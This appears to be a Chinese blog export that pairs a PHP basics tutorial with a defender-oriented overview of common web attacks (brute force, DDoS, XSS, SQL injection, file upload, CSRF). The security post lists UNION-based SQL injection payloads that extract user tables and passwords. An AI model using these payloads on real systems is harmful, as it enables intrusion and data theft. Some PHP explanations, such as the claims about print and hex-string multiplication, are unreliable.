如果有结构要求,或者内容超过一行,可以使用以下两种结构定义 nowdoc字符串:没有单引号的单引号字符串 heredoc字符串:没有双引号的双引号字符串 结构化定义字符串变量的规则: 结构化定义字符串对应的边界符有条件 上边界符后面不能跟任何内容 下边界符必须顶格,最左边 下边界符同样后面只能跟分号;不能跟任何内容 结构化定义字符串的内部(边界符之间)的所有内容都是字符串本身 PHP 大小写敏感在 PHP 中,所有用户定义的函数、类和关键词(例如 if、else、echo 等等)都对大小写不敏感,使用ECHO ,echo,EcHo都可以进行输出. 1234<?php ECHO "Hello php !!!!<br>"; echo "Hello php !!!!<br>"; EcHo "Hello php !!!!<br>"; 所有变量都对大小写敏感,而当一个变量$a=2被赋值后,echo $A,echo $a 12345<?php\t$a=2;\techo $A; //没有显示\techo "<br>";\techo $a; 二、PHP 变量 在PHP中,变量是存储信息的容器.判断一个变量是否存在isset($x);销毁变量unset($x); 12345$a = 10;var_dump(isset($a));unset($a);echo "</br>";var_dump(isset($a)); PHP 变量规则 PHP中变量必须以$符号开头,其后是变量的名称 变量名称必须以字母或下划线开头,不能以数字开头 变量名称只能包含字母数字字符和下划线(A-z、0-9 以及 _) 变量名称对大小写敏感($y 与 $Y 是两个不同的变量) 创建变量PHP 没有创建变量的命令. 变量会在首次为其赋值时被创建: 123456789<?php\t$test="Hello 网络安全 !!!!!";\t$x=666;\t$y=888;\techo $test;\techo "<br>";\techo $x;\techo "<br>";\techo $y; PHP作为一门类型松散的语言,我们在创建变量的时候,不必告知PHP变量的数据类型,由于PHP会根据它的值,自动把变量转换为正确的数据类型,而其他编程语言,如C和C++以及Java等语言,在使用变量之前,需要声明变量的名称和类型. PHP 变量作用域 就是一个变量的作用范围,或者叫做生命周期 内部变量:Local 就是函数体内声明的变量,内部变量的作用域只在函数体内生效,程序执行完事以后自动销毁(垃圾回收机制) 外部变量:Global 外部变量就是在函数体外声明的变量,不能在函数体内使用,函数体外的变量名字可以与函数体内的变量名字一样 超全局变量 外部变量和内部变量是同一个变量 $_GET $_POST $_FILE $_COOKIE $_SESSION $GLOBALS 静态变量 static静态变量关键字 在函数内部定义的变量,用来实现跨函数共享数据的变量 这个变量只会初始化一次在运行的时候他会记录上一次的值static变量不会销毁 1234function 函数名(){ //定义变量 static $变量名 = 值; //通常会在定义的时候就直接赋值} Local 和 Global 作用域下面的例子测试了带有局部和全局作用域的变量 1234567891011121314151617<?php$x=5; // 全局作用域function test() { $y=10; // 局部作用域 echo "<p>测试函数内部的变量:</p>"; echo "变量 x 是:$x"; echo "<br>"; echo "变量 y 是:$y";} test();echo "<p>测试函数之外的变量:</p>";echo "变量 x 是:$x";echo "<br>";echo "变量 y 是:$y"; global 关键字global 关键字用于函数内访问全局变量. 在函数内调用函数外定义的全局变量,我们需要在函数中的变量前加上 global 关键字 123456789<?php $x = 5; // 定义函数 function test(){ global $x; $a = 10; echo $x+$a; } test(); // 调用函数 static 关键词当函数完成执行后,会删除所有变量.若有时我们不想要删除某个局部变量.则需要在首次声明变量时使用 static 关键词: 12345678910111213141516171819202122232425<?php function test() { static $x=0; echo $x; $x++; } test(); echo "<br>"; test(); echo "<br>"; test(); echo "<br>"; echo "以下是没有设置静态变量的"; echo "<br>"; function test1() { $x=0; echo $x; $x++; } test1(); echo "<br>"; test1(); echo "<br>"; test1(); 三、echo 、print以及var_dump 语句 echo: 用法:echo expression; echo 是一个语言结构而不是函数,因此可以省略括号.它可以输出一个或多个字符串. echo 没有返回值,只用于输出内容到浏览器或命令行. echo 输出的内容可以包含任何有效的表达式,包括字符串、变量和表达式的组合. echo和echo()是一样的 示例: 123456<?php\t$name = "Alice";\techo "Hello, " . $name . "!"; // 输出:Hello, Alice!\techo "</br>";\techo($name);\techo "</br>"; print: 用法:print expression; print 是一个函数,必须使用括号将表达式括起来. print 的功能与 echo 类似,可以输出一个字符串. print 的返回值为 1,可以用于某些特定的需求. 示例: 1234<?php$name = "Bob";print("Welcome, " . $name); // 输出:Welcome, Bobprint $name; var_dump: 用法:var_dump(expression); var_dump 是一个函数,用于获取并输出变量的详细信息. var_dump 输出变量的类型、值以及长度(针对字符串)等详细信息. var_dump 在调试过程中非常有用,可以帮助开发者了解变量的结构和内容. 示例: 1234567<?php$name = "Charlie";$age = 25;var_dump($name, $age);// 输出:// string(7) "Charlie"// int(25) 总结: echo 和 print 常用于输出字符串和变量,可以输出多个值,echo 是语言结构而 print 是函数. var_dump 则用于获取并输出变量的详细信息,更适合用于调试过程. 四、PHP 数据类型PHP一种支持八种原始数据类型 四种标量类型,即integer(整型)、float/double(浮点型)、string(字符串型)和boolean(布尔型) boolean(布尔型) 有两个值,真(true)和假(false) string(字符串型) 计算机所能表示的一切字符的集合 integer(整型) 只能是整数,包括正数和负数 float(浮点型) 和整数不同,包含小数位 两种复合类型,即array(数组)、object(对象) object(对象) 类的实例,使用new来创建 array(数组) 一组类型相同的变量集合 两种特殊类型,即resource(资源)、NULL(空) resource(资源) 特殊的变量,保存了到外部资源的一个引用,通过专门的函数来建立和使用 null(空值) 表示变量没有值,唯一的值是NULL 1. 字符串(string)字符串是字符序列,可以是以引号内的任何文本,单双引号的使用有区别: 单引号:单引号里出现的变量会原样输出,PHP引擎不会对它进行解析,因此单引号定义字符串效率最高. 双引号:双引号所包含的变量会自动被替换成变量值. 反引号”``”:通常用于执行操作系统命令或外部程序,并获取其输出. 如下例子: 12345678910<?php$a = 10; // 定义一个变量$y = 'Hello world!$a'; // 单引号不会解析变量echo $y;echo "<br>";$x = "Hello PHP!$a"; // 双引号可以解析变量echo $x;echo "<br>";$z = `dir`;echo $z; 2. 整型(integer)整型数据只能包含整数. 整型数据的特征: 必须至少有一个数字(0-9) 不能包含逗号或者空格 没有小数点 可以是正数也可以是负数 整形数据可以用三种常见格式来指定: 十进制 十六进制(0x为前缀) 八进制(0为前缀) 测试不同的数字123456789101112<?php $x = 4399;\tvar_dump($x);\techo "<br>"; $x = -520; // 负数\tvar_dump($x);\techo "<br>"; $x = 0x8C; // 十六进制数\tvar_dump($x);\techo "<br>";\t$x = 047; // 八进制数\tvar_dump($x); php7特性含有十六进制字符的字符串不再被视为数字,而是被当作普通的字符串 12345<?php$number = "0xFF";$result = $number * 2;echo $result; // 输出:0# 在 PHP 7.3 中,"0xFF" 被视为普通字符串,而不是数值.因此,将其乘以 2 的操作实际上是对字符串进行了重复连接,结果为 "0xFF0xFF",最后被转换为数值时为 0 12345<?php\t// 以下是php5.6\t$number = "0xC98D3";\t$result = $number * 2;\techo $result; // 输出:1651110 3. 浮点型(float/double)浮点数是有小数点或指数形式的数字. 如下例子,测试不同数字: 123456789<?php $x = 8.4264;\tvar_dump($x);\techo "<br>"; $x = 1.1e3;\tvar_dump($x);\techo "<br>"; $x = 8E-5;\tvar_dump($x); 4. 布尔型(boolean)布尔值概念: 只保存两个值:true值和false值; 值不区分大小写,即true=TRUE,false=FALSE; 设定一个布尔型的变量,只需将true值或者false值直接赋值给变量; 12345678910<?php $a=true; // true ==1 $b=false; // false == 0 var_dump(true); echo "</br>"; var_dump(false); echo "</br>"; echo 880+true; echo "</br>"; echo 880+false; 5. 数组(array)数组(Array) 数组是一系列相关数据的集合,以某种特定的方式进行排列,形成一个整体 可以是相同的数据类型,也可以是不同的数据类型 在PHP里数组的索引可以是数字,也可以是字符串 数组例子123456789101112131415161718192021<?php // id 数组 $array_PHP = array("good", "study", "everything"); // 写法1 var_dump($array_PHP); echo "</br>"; $array_Name = array(); // 写法2 $array_Name[0]="张三"; $array_Name[1]="李四"; $array_Name[2]="王五"; var_dump($array_Name); echo "</br>"; // 关联数组 $array_Key = array("姓名"=>"钟馗","成绩"=>100,"班级"=>"2班"); // 写法1 var_dump($array_Key); echo "</br>"; $array_Key = array(); // 写法2 $array_Key1["姓名"] = "钟馗"; $array_Key1["成绩"] = 100; $array_Key1["班级"] = "2班"; var_dump($array_Key1); echo "</br>"; 6. 对象(object)object(对象),面向对象编程在PHP中非常重要, 特点:封装,多态,继承. 对象是存储数据和有关如何处理数据的信息的数据类型. 在 PHP 中,必须明确地声明对象. 首先我们必须声明对象的类,对此,我们使用 class 关键词,类是包含属性和方法的结构. 12345678910<?phpclass This_Test{ public function test(){ echo "这是This_Test类里面的test方法"; }}$a = new This_Test(); // 创建一个This_Test类的实例$a->test(); // 调用实例的test方法,将输出一条消息 7. NULL 值PHP中一种特殊的数据类型,表示空值,即表示没有为该变量设置任何值null(空值)不区分大小写,null和NULL是一样的.被赋空值可能有三种情况:没有赋什么值、被赋空值null、被unset()函数处理过的变量. 1234<?php $this_Null = "Hello PHP"; $this_Null = null; var_dump($this_Null); 8. 资源(Resource) 资源是一种特殊的变量类型,它保存着对外部数据源的引用,如文件、数据库连接等,直到通信结束. 数据库持久连接是一种比较特殊的资源,它不会被垃圾回收系统释放,需要手动释放. 五、PHP 常量PHP常量是一个简单值的标识符,该值在脚本中不能改变;常量值被定义后,在脚本的其他任何地方都不能被改变.一个常量由英文字母、下划线、和数字组成,但数字不能作为首字母出现. (常量名不需要加$修饰符). 常量在整个脚本中都可以使用. 设置 PHP 常量设置常量,使用 define() 函数 语法1234567891011define (string $name , mixed $value [, bool $case_insensitive = false ] ) : bool在运行时定义一个常量.$name:常量名$value 常量的值;在 PHP 5 中,value 必须是标量( integer、 float、string、boolean、NULL)在 PHP 7 中还允许是个 array 的值.$case_insensitive 如果设置为 TRUE,该常量则大小写不敏感.默认是大小写敏感的.比如, CONSTANT 和 Constant 代表了不同的值.Note:大小写不敏感的常量以小写的方式储存.返回值:成功时返回 TRUE, 或者在失败时返回 FALSE. 以下例子我们创建一个区分大小写的常量, 常量值为 欢迎来到我的世界 12345678<?php // 区分大小写的常量名 define("WELCOME", "欢迎来到我的世界"); echo WELCOME; // 输出 "欢迎来到我的世界" echo '<br>'; echo welcome; // 输出 "welcome" echo defined(WELCOME); # 判断常量是否被定义 // const 变量名=值 结果:报错是未定义常量 以下例子我们创建一个不区分大小写的常量, 常量值为 欢迎来到我的世界 1234567<?php define("WELCOME", "欢迎来到我的世界",true); echo WELCOME; // 输出 "欢迎来到我的世界" echo '<br>'; echo welcome; // 输出 "welcome" echo defined(WELCOME); # 判断常量是否被定义 // const 变量名=值 另一种定义常量的方法: 123<?php const WELCOME="欢迎来到我的世界"; echo WELCOME; 常量是全局的常量在定义后,默认是全局变量,可以在整个运行的脚本的任何地方使用. 如下是在函数外定义常量,在函数内使用常量 1234567<?php define("WELCOME", "欢迎来到我的世界"); function test() { echo WELCOME; } test(); // 欢迎来到我的世界 注意事项 不能重复定义 常量的名字一般使用大写字母 常量的值只能是标量 常量的作用域是全局的 输出的时候没有$符号 常量不能写到字符串中 系统常量123456789101112131415161718<?php\techo "</br>"; echo __FILE__; #当前文档名以及所在路径 echo "</br>"; echo __LINE__; #代码所在行 echo "</br>"; echo __DIR__; #当前文件所在路径 echo "</br>"; echo PHP_OS; #获取系统信息 echo "</br>"; echo PHP_VERSION; #获取版本信息 echo "</br>"; function test(){ echo __FUNCTION__; #获取当前函数名 } test(); echo "</br>"; echo M_PI; #圆周率g'm 六、PHP 字符串 PHP中的字符串是一种常见的数据类型,用于表示和操作文本数据.字符串可以包含字母、数字、符号以及其他特殊字符.您可以使用引号(单引号或双引号)来创建字符串. 123<?php\t$test="Hello PHP!";\techo $test; 当您赋一个文本值给变量时,请记得给文本值加上单引号或者双引号. 字符串常用函数和运算符连接运算符(并置运算符)使用并置运算符.可以将两个字符串连接在一起 1234<?php $test1 = "Hello php"; // 定义字符串变量 $test1,赋值为 "Hello php"\t$test2 = "study hard !"; // 定义字符串变量 $test2,赋值为 "study hard !"\techo $test1 . "</br>" . $test2; // 使用并置运算符连接两个字符串,并输出结果.注意:"</br>" 是用于在 HTML 中换行显示的标签. 字符串常用函数1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950<?php // 字符串长度 $test1 = "Hello php"; // 使用strlen()函数可以获取字符串的长度,即包含的字符数 echo strlen($test1); // 字符串查找 /* * 参数说明: $haystack:要搜索的字符串. $needle:要查找的子字符串. $offset(可选):指定从哪个位置开始查找,默认为 0. * 返回值: 如果找到子字符串,则返回第一次出现的位置(位置从 0 开始). 如果未找到子字符串,则返回 false.*/ echo "</br>"; echo strpos($test1,"p"); // 字符串索引 // 字符串中的每个字符都可以通过索引访问.注意,PHP中的字符串索引是从0开始的 echo "</br>"; echo $test1[0]; // 获取第一个字符,输出:H // 字符串截取 // 使用substr()函数可以从字符串中提取一个子字符串 /* 参数说明: $string:要提取子串的源字符串. $start:指定开始提取的位置.如果为负数,则从字符串末尾开始计数. $length(可选):指定要提取的子串长度.如果未指定,则提取从 $start 位置到字符串结束的所有字符. 返回值: 如果提取成功,则返回提取的子串. 如果提取失败,则返回 false. * */ echo "</br>"; echo substr($test1,0,5); // 字符串替换 // 使用str_replace()函数可以将字符串中的指定内容替换为新的内容 /* 参数说明: $search:要替换的子字符串,可以是一个字符串或一个字符串数组. $replace:替换子字符串的新字符串,可以是一个字符串或一个字符串数组.如果 $replace 是一个数组,那么它的元素将与 $search 的对应元素一一替换. $subject:源字符串,即要进行替换操作的字符串. $count(可选):传递一个变量作为引用,在函数执行后保存实际进行的替换次数. 返回值: 返回替换后的字符串,如果 $subject 参数是一个数组,则返回一个替换后的数组. * */ echo "</br>"; echo str_replace($test1, "php", "wonima"); 七、PHP 条件语句在日常程序编程时,我们需要不同的判断执行不同的动作,此时我们就可以用到条件语句来实现. 在 PHP 中,提供了下列条件语句: if 语句 - 在条件成立时执行代码 if…else 语句 - 在条件成立时执行一块代码,条件不成立时执行另一块代码 if…elseif…else 语句 - 在若干条件之一成立时执行一个代码块 switch 语句 - 在若干条件之一成立时执行一个代码块 时间复杂度这两种语句的时间复杂度主要受到条件的数量和嵌套程度的影响. 通常情况下,它们的时间复杂度都是O(1),因为它们的执行时间不随输入数据的增加而增加. 在实际使用中,更重要的是选择合适的条件语句以保持代码的可读性和可维护性. 运算符运算符 算术运算法 + - * / %(求模又称取余数) 自增自减运算符 ++ -- 比较运算符 < >= <= == === != !== == 只判断值而不比较数据的类型 === 比较值和类型 逻辑运算符 && 逻辑与 并且有一个为假就是假多个为假的还是假只有同时为真的时候才是真 || 逻辑或 或者只要有一个为真就是真多个同时为假才是假的 ! 取反 就是假变成真的真的变成假的 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465<?php\t// 10.1 算术运算符 $a = 10; $b = 5; // 加法 echo $a + $b; // 结果为 15 echo "</br>"; // 减法 echo $a - $b; // 结果为 5 echo "</br>"; // 乘法 echo $a * $b; // 结果为 50 echo "</br>"; // 除法 echo $a / $b; // 结果为 2 echo "</br>"; // 求模 echo $a % $b; // 结果为 0 echo "</br>"; // 10.2 自增自减运算符: // 自增 echo $a++; // $a 的值变为 11 echo "</br>"; // 自减 echo $a--; // $a 的值变为 10 echo "</br>"; // 10.3 比较运算符: $a = 5; $b = 10; // 小于 var_dump($a < $b); // 结果为 true echo "</br>"; // 大于等于 var_dump($a >= $b); // 结果为 false echo "</br>"; // 等于 var_dump($a == $b); // 结果为 false echo "</br>"; // 不等于 var_dump($a != $b); // 结果为 true echo "</br>"; # 10.4 比较运算符(进一步说明==和===): $b = "5"; // == 只判断值而不比较数据类型 var_dump($a == $b); // 结果为 true echo "</br>"; // === 比较值和数据类型 var_dump($a === $b); // 结果为 false echo "</br>"; // 10.5 逻辑运算符 $a = true; $b = false; // 逻辑与 var_dump($a && $b); // 结果为 false echo "</br>"; // 逻辑或 var_dump($a || $b); // 结果为 true echo "</br>"; // 取反 var_dump(!$a); // 结果为 false echo "</br>"; 为false几种情况 整型的0在进行判断的时候为假,整型的1在判断的时候为真 如果浮点的0.0000000都是假的只要后面有一个是非零的数字即为真 空字符串为假如果中间有一个字符都是真那怕是一个空格 空字符串的0即为假其他皆为真 空数组为假 null作为判断条件的时候是假的 if 语句if 语句用于仅当指定条件成立时执行代码. 12345# 语法:if (条件){ 条件成立时要执行的代码;} 如下例子,当分数grade大于等于60时,输出”及格”: 123456<?php\t$grade=61;\tif ($grade>=60)\t{ echo "及格";\t} if…else 语句在条件成立时执行一块代码,条件不成立时执行另一块代码 语法: 1234567if (*条件*){\t*条件成立时执行的代码;*}else{\t*条件不成立时执行的代码;} 如下例子,当分数大于等于60,输出”及格”,否则输出”不及格”: 123456789<?php\t$grade=51;\tif ($grade>=60)\t{ echo "及格";\t}\telse{ echo "不及格";\t} if…elseif…else 语句在若干条件之一成立时执行一个代码块 请使用 if…elseif…else 语句.. 语法: 123456789101112if (条件){ if 条件成立时执行的代码;}elseif (条件){ elseif 条件成立时执行的代码;}else{ 条件不成立时执行的代码;} 如下例子,当分数大于等于80,输出”优秀”,大于等于60输出”及格”,小于60输出”不及格”: 12345678910111213<?php\t$grade=51;\tif ($grade>=80)\t{ echo "优秀";\t}\telseif($grade>=60)\t{ echo "及格";\t}\telse{ echo "不及格";\t} Switch 语句 当你需要根据不同的条件执行不同的代码块时,PHP中的switch语句是一个非常有用的工具.它提供了一种在多个选项之间进行选择的结构,可以减少大量的if-else嵌套. switch语句由一个表达式和一系列case分支组成.表达式的值将与每个case分支的值进行比较,找到匹配的分支后,执行相应的代码块.如果没有任何匹配的分支,还可以选择执行一个可选的default分支. 1234567891011switch (expression) { case value1: // 代码块1 break; case value2: // 代码块2 break; // 可以有更多的 case 分支 default: // 默认代码块} Switch 语句判断成绩例子: 123456789101112131415161718192021<?php\t$num=51;\tswitch ($num)\t{ case $num>=90 && $num<=100: echo "你的成绩等级为A"; break; case $num>=80 && $num<90: echo "你的成绩等级为B"; break; case $num>=60 && $num<80: echo "你的成绩等级为C"; break; case $num>=0 && $num<60: echo "你的成绩等级为D"; break; default: echo "你输入的成绩有误,请重新输入."; break;\t}?>","tags":["PHP","编程语言"]},{"title":"攻防演练事件研判篇","path":"/2023/07/13/d9d69399/","content":"总字符数: 26.54K 代码: 2.50K, 文本: 13.76K 预计阅读时间: 1.18 小时 分析研判技术网络安全攻击类型 暴力破解 xss跨站脚本攻击 目录遍历 恶意通信 永恒之蓝勒索病毒 权限提升 SQL注入 文件上传漏洞 命令注入 挖矿病毒 Log4j远程代码执行 网络安全攻击危害 经济损失和业务损失,黑客的攻击会导致受害者业务中断、数据泄露;严重时,可以让一家公司的年利润化成了泡影;若攻击政企单位,将会造成办理日常业务受阻和政企单位自身系统收到损害,影响正常社会运转 人身安全.云时代,甚至未来的IOT时代,安全将影响每个人的生命安全.例如:黑客利用漏洞查看病人信息,入侵医疗系统设备.无人驾驶汽车和机场的航线监控系统.每漏掉一次及其危险的威胁,在未来都有可能影响到人身安全和社会安全 对整个互联网环境的破坏,将服务器变成”肉鸡”,使其攻击其他主机,如果服务器上有重要的数据:信用卡、个人隐私,就会流入到黑产行业中,会让整个互联网环境日益恶化. 研判方法 导出最近七天的日志,日志条件:源地址,目的地址,事件名称,时间,规则ID,发生次数等 根据动作、地址、事件名称、时间等信息进行研判 防护方法发生攻击前 渗透测试 漏洞扫描 发生攻击后 应急响应 安全加固 暴力攻击&DDos攻击暴力破解的攻击方法 暴力破解的产生原因是因为服务器端没有做限制,导致攻击者可以通过暴力破解的手段破解用户所需要的信息,如用户名、密码、验证码等.暴力破解需要有庞大的字典,暴力破解的关键在于字典的大小.不仅仅是密码破解.暴力破解还可用于发现Web应用程序中的隐藏页面和内容. 基本原理就是使用字典中的内容进行一一尝试,如果匹配成功了,提示该用户名密码正确,如果匹配失败,那么会继续进行尝试; 暴力破解 传统的暴力攻击中,攻击者只是尝试字母和数字的组合来顺序生成密码;消耗时间长,取决于系统和密码的长度. 为了发现隐藏页面,攻击者会尝试猜测页面名称,发送请求并查看响应.如果该页面不存在,它将显示响应404,成功的话就会响应200.这样,它可以在任何网站上找到隐藏页面. 用于破解散列并从给定散列中猜出密码.这样的话,哈希是从随机密码生成的,然后此哈希与目标哈希匹配,直到攻击者找到正确的哈希. 穷举法:根据输入密码的设定长度,选定的字符集生成可能的密码全集 字典攻击法:将出现频率最高的密码保存到文件中,这个文件就叫字典 彩虹表攻击:也属于字典攻击法的一种,核心思想为:将明文计算得到的HASH由函数映射回明文空间,交替计算明文和HASH,生成哈希链 逆向暴力破解破解密码采用相反的方法,攻击者针对多个用户名尝试一个密码,直到找到匹配组合 暴力破解的危害及防御危害 密码被盗取,针对个人信息与政企系统信息被泄露 服务器性能收到影响甚至被控制,设备瘫痪,服务器死机,例如:ssh暴力破解 防护 设计安全的验证码(安全的流程+复杂可用的图形) 认证错误对提交次数给予限制,比如错误三次三小时内不可登录 双因素认证 员工和个人的安全意识,系统做好定期修复漏洞,员工意识到位,让不发分子没有可乘之机 DDos攻击的攻击方法 分布式拒绝服务(Distributed Denial of Service)攻击是一种恶意企图,通过大量互联网流量压倒目标或其周围的基础架构来破坏目标服务器,服务或网络的正常流量.DDoS攻击通过利用多个受损计算机系统作为攻击流量来源来实现有效性.被利用的机器可以包括计算机和其他网络资源,例如物联网设备.从高层次来看,DDoS攻击就像堵塞高速公路的交通堵塞,阻止了常规交通到达其所需的目的地. 应用程序层攻击(OSI第七层攻击) HTTP洪水攻击:类似于同时在大量不同计算机的web浏览器中一次次按下刷新键,大量的http请求涌向服务器 协议攻击 协议攻击又称状态耗尽攻击,这类攻击会过度消耗服务器资源和负载均衡器之类的网络设备资源 容量耗尽攻击 试图通过消耗目标与较大的互联网之间的所有可用带宽带来造成拥塞,攻击运用某种方法攻击或其他生成大量流量的手段 DDos攻击症状迹象 最明显的症状就是网站或者服务突然变慢或者不可用 对于单个也没或者端点的请求数量出现不明原因的激增 奇怪的流量模式:夜里出现不自然的访问,或者有规律的访问(每10分钟激增一次) DDos攻击的防护措施危害 业务受损,服务器因DDos攻击造成无法访问,会导致客流量的严重流失,进而对整个平台和企业的业务造成严重影响 形象受损,服务器无法访问会导致用户体验下降、用户投诉增多等问题. 当网站被打到快瘫痪时,维护人员的全部精力都在抗DDos上面,攻击者窃取数据、感染病毒、恶意欺骗等犯罪活动更容易得手 防护 高仿IP,通过把域名解析到高仿IP上,并配置源站IP.所有公网流量都经过高仿IP机房,通过端口协议转发的方式将访问流量通过高仿IP转发到源站IP,同时将恶意攻击流量在高仿IP上进行清洗过滤后,将正常流量返回给源站IP,从而确保源站IP稳定访问 软件防火墙:在服务器上使用软件防火墙,或者通过设置相关脚本,过滤掉这些异常流量.企业可以使用简单的命令和专用服务器的软件防火墙,来获取攻击者的IP地址、与服务器的连接数,将其屏蔽. 黑洞路由 速率限制 WEB应用程序防火墙 anycast网络扩散 XSS跨站脚本攻击XSS攻击的原理 跨站脚本在英文中称为Cross–Site Scripting,缩写为CSS.但是由于层叠样式表(Cascading Style Sheets)的缩写也为CSS, 为不与其混淆,特将跨站脚本缩写为XSS,指恶意攻击者利用网站漏洞往Wb页面里插入恶意代码,从而在用户浏览网页的时候,控制用户 浏览器的一种攻击.一般需要满足以下条件: 客户端访问的网站是一个有漏洞的网站,但是他没有意识到 在这个网站中通过一些手段放入一段可以执行的代码,吸引客户执行 客户点击后,代码执行,可以达到攻击目的. XSS攻击的种类存储型XSS 嵌入到web页面的恶意HTML会被存储到应用服务器端,简而言之就是会被存储到数据库,等用户在打开页面时,会继续执行恶意代码,能够持续的攻击用户.(危害最大) 反射型XSS 发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码.这个过程像一次反射,故叫反射型XSS. DOM型XSS 通过JavaScript,可以重构整个HTML文档,就是说可以添加,移除等等,对页面的某个东西进行操作时,JavaScript就需要获得对HTML文档中所有元素进行访问的入口.这个入口就是DOM,所以在DOM型的XSS漏洞利用中,DOM可以看成是一个访问HTML的标准程序接口.(全程前端,没有后端参与) XSS攻击的攻击流程 攻击者寻找具有漏洞的网站 攻击者给用户发了一个带有恶意字符串的链接 用户点击了该链接 服务器返回HTML文档,但是该文档此时不包含那个恶意字符串 客户端执行了该HTML文档里的脚本,然后把恶意脚本植入了页面 客户端执行了植入的恶意脚本,XSS攻击就发生了 XSS攻击的危害及防御危害 cookie劫持:通过XSS漏洞,我们可以轻易的将JavaScript代码注入被攻击用户的页面并用浏览器执行 CSRF:使用XSS可以实现CSRF,不过XSS只是实现CSRF的诸多途径中的一条 例如:用户的Cookie设置了httponly,无法轻易获取cookie的内容.但是由于我们可以控制用户的页面脚本(XSS),我们可以利用脚本向后台发送命令,此时浏览器会给请求带上被攻击的Cookie.如:$.put('/tranferMoney?from=account&to=account&mount=10000') XSS钓鱼:这里需要结合<iframe>点击劫持 直接在当前页面动态模拟创建登录窗口 location.href="jiangjiyue.github.io"重写当前内容设置假的url 获取用户信息,例如:蜜罐反制 XSS蠕虫 防护 基于特征的防御:传统的XSS防御在进行攻击鉴别时多采用特征匹配方式,主要是针对JavaScript这个关键词进行检索 基于代码修改的防御: Web页面开发者在编写程序时往往会出现一些失误或漏洞,Xss攻击正是利用了失误和漏洞,因此一种比较理想的方法就是通过优化Web应用开发来减少漏洞,避免被攻击 用户向服务器上提交信息时要对URL和附带的HTTP头,POST数据进行查询,对于不是规定格式,长度内容进行过滤 实现Session标记,captcha系统或者HTTP引用头检查,防止被第三方网站利用 确认接受的内容被妥善的规范化,仅包含最小的、安全的tag、去掉任何对远程内容的引用,使用httponly的cookie 客户端分层防御策略 对于每一个网页分配独立线程且分析资源消耗的网页线程分析模块 包含分层防御策略四个规则的用户输入分析的模块 保存互联网的XSS恶意网站信息的XSS payload数据库 SQL注入攻击SQL注入的原理 SQL注入即是指wb应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在wb应用程序中事先定义好的查询语句的结尾上添加额外的$QL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息. SQL注入的种类 数值型注入:前台页面输入的参数是数字,字段类型是数值 字符型注入:前台页面输入的参数是字符串,字段类型是字符 单引号字符注入:select * from user where username='zhangsan' 双引号字符注入:select * from user where username="zhangsan" 括号字符注入:select * from user where id =(1) 盲注:在无法构造回显位置时使用 其他类型注入:例如get注入,post注入,cookie注入,http header注入等 get注入:以get的方式进行提交,注入点一般在get提交的url后面,可以用bp抓包进行查找 post注入:以post的方式进行提交,注入点一般在表单的填写处,资料的填写处,也可以用bp抓包的进行查找. http头部注入:user-agent判定用户的操作系统;cookie:用户的身份识别,跟踪可以存储在用户本地的数据,clientip:保存客户端ip的参数 SQL注入的攻击流程 判断注入类型(数字型or字符型) 猜解SQL查询语句中的字段数:1' or 1=1 order by 10 --+ 确定字段的显示顺序:1' union select 1,2 --+ 获取当前数据库:1' union select 1,database() --+ 获取数据库中的表:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 获取表中的字段名:1' union select 1,group_concat(cloumn_name) from information_schema.columns where table_name='users' --+ 下载数据:1' union select 1,group_concat(id,username,password) from users --+ SQL注入的危害及防御危害 盗取用户数据和隐私,这些数据被打包贩卖,或用于非法目的后,轻则损害企业品牌形象,重则将面临法律法规风险. 攻击者可对目标数据库进行”增删改查”,一旦攻击者删库,企业整个业务将陷于瘫痪,极难恢复. 攻击者添加管理员帐号.即便漏洞被修复,如果企业未及时察觉账号被添加,则攻击者可通过管理员帐号,进入网站后台. 植入网页木马程序,对网页进行篡改,发布一些违法犯罪信息 防护 提高开发人员的安全意识 通过各种技术手段防御 使用云服务提供商的安全产品 保存互联网的XSS恶意网站信息的XSS payload数据库 文件上传文件上传的原理 网站Wb应用都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型,此时攻击者就可以上传一个webshell到一个Web可访问的目录上,并将恶意文件传递给如PHP解释器去执行,之后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作.还有一部分是攻击者通过Wb服务器的解析漏洞来突破Web应用程序的防护. 文件上传的绕过方式 JavaScript检查:Bp在文件上传时进行截断改文件后缀名 服务端检测:MIME类型的检查、文件扩展名检查、目录路径的检查、检测文件内容是否包含恶意代码等方法 文件上传的攻击流程 文件上传的危害及防御危害 上传文件是病毒或木马时,主要用于诱骗用户或者管理员下载执行或者直接运行 上传文件是Flash的策略文件crossdomain.xml时,黑客用于控制Flash在该域下的行为 上传文件是钓鱼图片或者包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈 防护 文件上传的目录设置为不可执行 判断文件类型:结合使用MIME Type、后缀检查等方式,对于图片的处理,可以使用压缩函数或者resize函数(破坏图片中可能包含的HTML代码) 使用随机数改写文件名和文件路径 单独设置文件服务器的域名 限制上传文件大小 确保上传文件被访问返回正确,(禁止过多返回路径等其他敏感信息) CSRF跨站请求伪造CSRF的原理 CSRF(Cross-site request forgery,中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF攻击者盗用了你的身份,以你的名义发送恶意请求.CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账…..造成的问题包括:个人隐私泄露以及财产安全 CSRF的攻击方法自动发起Get请求将恶意的请求接口隐藏在img标签内,欺骗浏览器这是一张图片资源,当该页面被加载时,浏览器会自动发起img的资源请求,如果服务器没有对该请求做判断的话,那么服务器就会认为该请求是一个恶意请求 自动发起POST请求黑客在他的页面中构建了一个隐藏的表单,该表单的内容就是系统的转账接口.当用户打开该站点之后,这个表单会被自动执行提交;当表单被提交之后,服务器就会执行转账操作.因此使用构建自动提交表单这种方式,就可以自动实现跨站点POST数据提交. 引诱用户点击链接通常出现在论坛或者恶意邮件上.黑客会采用很多方式去诱惑用户点击链接 CSRF的攻击流程 攻击者发现CSRF漏洞 构造代码 发送给受害人 受害人打开 受害人执行代码 完成攻击 CSRF的危害及防御危害 